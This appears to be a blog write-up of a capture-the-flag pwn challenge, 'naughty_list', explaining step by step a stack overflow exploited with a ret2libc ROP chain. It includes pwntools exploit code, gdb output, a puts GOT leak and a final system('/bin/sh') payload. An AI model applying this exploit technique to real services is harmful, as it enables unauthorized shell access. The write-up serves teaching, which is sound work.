Challenge Files: pwn_naughty_list.zip
- 13320 2021-11-17 11:42 naughty_list
- 2030928 2021-11-17 11:42 libc.so.6
naughty_list: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=01bfbb5590fb022140bbaaae3d3ba8ed2a8b57ba, not strippedArch: amd64-64-littleRELRO: Full RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000) # The function addresses are as is for easy tracking
gdb.attach(p, '''break *get_descr+81c''')
# Thousand C's to see how much we can write on the stack after RIP
payload = "A"*40 + "B"*8 + "C"*1000
p.sendline(payload)
gef➤ info frameStack level 0, frame at 0x7ffdcc449508:rip = 0x40107c in get_descr; saved rip = 0x4242424242424242gef➤ x/300g $rsp0x7ffdcc449508: 0x4242424242424242 0x43434343434343430x7ffdcc449518: 0x4343434343434343 0x4343434343434343...0x7ffdcc449888: 0x4343434343434343 0x43434343434343430x7ffdcc449898: 0x4343434343434343 0x0000000000000002
gef➤ gotGOT protection: Full RelRO | GOT functions: 14[0x601f80] toupper@GLIBC_2.2.5 → 0x7ffff7e1fa10[0x601f88] puts@GLIBC_2.2.5 → 0x7ffff7e60210[0x601f90] strlen@GLIBC_2.2.5 → 0x7ffff7f49220[0x601f98] printf@GLIBC_2.2.5 → 0x7ffff7e41dc0[0x601fa0] memset@GLIBC_2.2.5 → 0x7ffff7f4c6a0[0x601fa8] alarm@GLIBC_2.2.5 → 0x7ffff7eb4d90[0x601fb0] read@GLIBC_2.2.5 → 0x7ffff7ed88b0[0x601fb8] srand@GLIBC_2.2.5 → 0x7ffff7e2a0d0[0x601fc0] strcmp@GLIBC_2.2.5 → 0x7ffff7f44750[0x601fc8] time@GLIBC_2.2.5 → 0x7ffff7fd0970[0x601fd0] setvbuf@GLIBC_2.2.5 → 0x7ffff7e608f0[0x601fd8] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7e431b0[0x601fe0] fwrite@GLIBC_2.2.5 → 0x7ffff7e5f120[0x601fe8] rand@GLIBC_2.2.5 → 0x7ffff7e2a7f0
puts(<puts_GOT_address>) # From the table above, puts(0x601f88)
Argument 1: RDIArgument 2: RSIArgument 3: RDXArgument 4: RCXArgument 5: R8Argument 6: R9
ROPgadget --binary naughty_list | grep "pop rdi"0x0000000000401443 : pop rdi ; ret
Bam! We found a "pop rdi" gadget! You could manually use this address in your payload, but it'll be more seamless to find this gadget in Pwntools.
elf = ELF("./naughty_list") # Extract data from binaryrop = ROP(elf) # Find ROP gadgetsPOP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
It automatically searches the binary for the given "pop rdi; ret" gadget and stores it's address in a variable, so if we overwrite RIP and put this POP_RDI gadget's address there, then we jump the line of Assembly code that executes "pop rdi" and ends with "ret", in which it will return to the next address we put in our payload. That chain of it going from one set of instructions and RETURNING to the next address we have in the payload is called ROP Chaining. ROP-ing is basically writing a bunch of RIP addresses, one after another in sequence like firecracker when they go off.
Anyways, in our scenario, as a reminder, we're trying to execute this to leak the libc address for the puts function in this manner:
puts(<GOT_address_for_puts>)
Starting our ROP chain in our payload accomplishes this after we pop the GOT address into RDI, then return from the POP RDI gadget directly into the puts PLT address. PLT stands for the "Procedure Linkage Table", which is an address to a tiny stub of code (usually about 3 lines), that looks up the GOT address and calls the libc puts() address to execute it.
PUTS_PLT = elf.plt['puts']PUTS_GOT = elf.got['puts']payload = "A"*40 + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT)p.sendline(payload)received = p.clean(timeout=1)[-8:].strip() # Receives everything, capture the last 8 bytes as leakprint("Raw leaked bytes: %s" % received)
leak = u64(received.ljust(8, "\x00")) # Converts the raw leaked bytes into hexadecimalprint("Leaked libc address, puts: %s\n\n" % hex(leak))
It ends up looking like this. I printed out the raw bytes, as well as it being converted to hex for clarity:
However, since ASLR is always enabled on a remote server, as well as all modern systems in general, that address leak will change with each run, so the way to preserve that leaked address so we can actually use it for our final payload is to have the program loop back to the beginning and start again without exiting; thus, allowing us to buffer overflow it AGAIN a second time when it reaches the same vulnerable point. We accomplish this by putting the address to the MAIN PLT, which is the address to execute the top of main again. Remember our continuing ROP chain. After the PUTS PLT function gets called to do our leak, it has to return to something! So we overwrite THAT RIP return with the MAIN_PLT as the next link in the chain like this to have the program start over WITHOUT EXITING to preserve our leaked address:
MAIN_PLT = elf.symbols['main']
rop1 = "A"*40 + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Now that we get a second chance to overwrite RIP again, where do we want to jump to? What's our next goal? The final goal is to use our leaked puts libc address to calculate the libc base address to find the system's libc function address and execute this to get us a tasty shell:
system(<address_to_'/bin/sh'>)
Remember, the challenge zip file came bundled with the remote target's libc.so.6 file. However, every Linux system uses a different libc version, so the function addresses will be different with each version. Since we're testing this on our local Kali system, we have a different libc version as the targets as well! So we can't yet use the included libc file. We need to use our local Kali's libc file, and you can see what that is with "ldd". You could use the full path to the local Kali's libc file, but I personally like to copy it to my local directory for easy access:
$ ldd naughty_listlibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa89c77d000)$ cp /lib/x86_64-linux-gnu/libc.so.6 kali_libc
Now we load that libc file into our Pwntools and calculate the following addresses for our final ROP chain:
libc = ELF("kali_libc")libc.address = leak - libc.symbols['puts']BINSH = next(libc.search("/bin/sh")) # Locate the address to the string "/bin/sh" in libc fileSYSTEM = libc.sym["system"]EXIT = libc.sym["exit"]
objdump -M intel -d kali_libc | grep "puts@"0000000000076210 <_IO_puts@@GLIBC_2.2.5>:
libc.address = leak - libc.symbols['puts']
You'll also see from the code above that we also used this libc base address to calculate the address for where the string "/bin/sh" is stored in the libc file, the system() function's address, and the exit() function's address. The reason we got the exit function's address is because when we exit our shell, we want it to exit gracefully with a real exit instead of crashing; although this is completely optional! I like to keep a clean house. Oh, I also noticed sometimes I need to calculate the address the a single "ret" instruction on it's own and ROP to it immediately before calling the system() function to align the stack. Locally, it doesn't matter, but most of the time, the remote target's stack is unaligned and require this extra "ret" to call the system() function correctly:
ret = (rop.find_gadget(['ret']))[0]
Okay! We finally have all the pieces to put together the final ROP chain! Similar to how we popped the puts GOT address into RDI as argument 1, this time, we pop the "/bin/sh" string's address into RDI as argument 1 to system(). And it looks like so:
payload = "A"*40 + p64(POP_RDI) + p64(BINSH) + p64(ret) + p64(SYSTEM) + p64(EXIT)
p.sendline(payload)
p.interactive() # Need this to have an interactive shell so we can talk back and forth
AND HERE WE HAVE IT! Our beautiful shell and flag!
No comments:
Post a Comment